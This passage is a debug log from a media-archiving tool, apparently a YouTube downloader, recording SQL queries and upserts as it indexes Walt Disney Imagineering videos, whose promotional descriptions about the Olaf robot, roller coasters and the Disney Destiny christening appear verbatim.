\u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "filename" => "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", "id" => "EoPN02bmzrE", "original_url" => "https://www.youtube.com/watch?v=EoPN02bmzrE", "playlist_index" => 11, "title" => "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "upload_date" => "20251124"} 18:55:23.682 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:23.682 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:23.683 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 00:00:00Z], 2] 18:55:23.686 [debug] QUERY OK source="media_items" db=1.8ms idle=1002.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "f4c75970-8da0-4213-a415-126c0bcbcaec", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, false, 11, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", false, false, 2, [], 98, ~U[2025-11-24 00:00:00Z], ~U[2026-03-30 22:55:23Z], ~U[2026-03-30 22:55:23Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u (truncated) 18:55:23.686 [debug] QUERY OK source="sources" db=0.1ms idle=88.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:23.686 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:23.687 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3032] 18:55:23.687 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "filename" => "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", "id" => "b7hgSAMfqe0", "original_url" => "https://www.youtube.com/watch?v=b7hgSAMfqe0", "playlist_index" => 12, "title" => "Why do roller coasters feel faster in the dark? | Imagineer That!", "upload_date" => "20251117"} 18:55:23.687 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:23.687 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:23.688 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 00:00:00Z], 2] 18:55:23.690 [debug] QUERY OK source="media_items" db=1.3ms idle=2.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "4b0963db-85d7-4ac6-beec-35dccd3350aa", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, false, 12, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, false, 2, [], 98, ~U[2025-11-17 00:00:00Z], ~U[2026-03-30 22:55:23Z], ~U[2026-03-30 22:55:23Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", nil, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, 2, ~U[2025-11-17 00:00:00Z]] 18:55:23.690 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:23.690 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:23.691 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2857] 18:55:23.691 [debug] Current batch of media processed. Will check again in 1000ms 18:55:24.692 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you 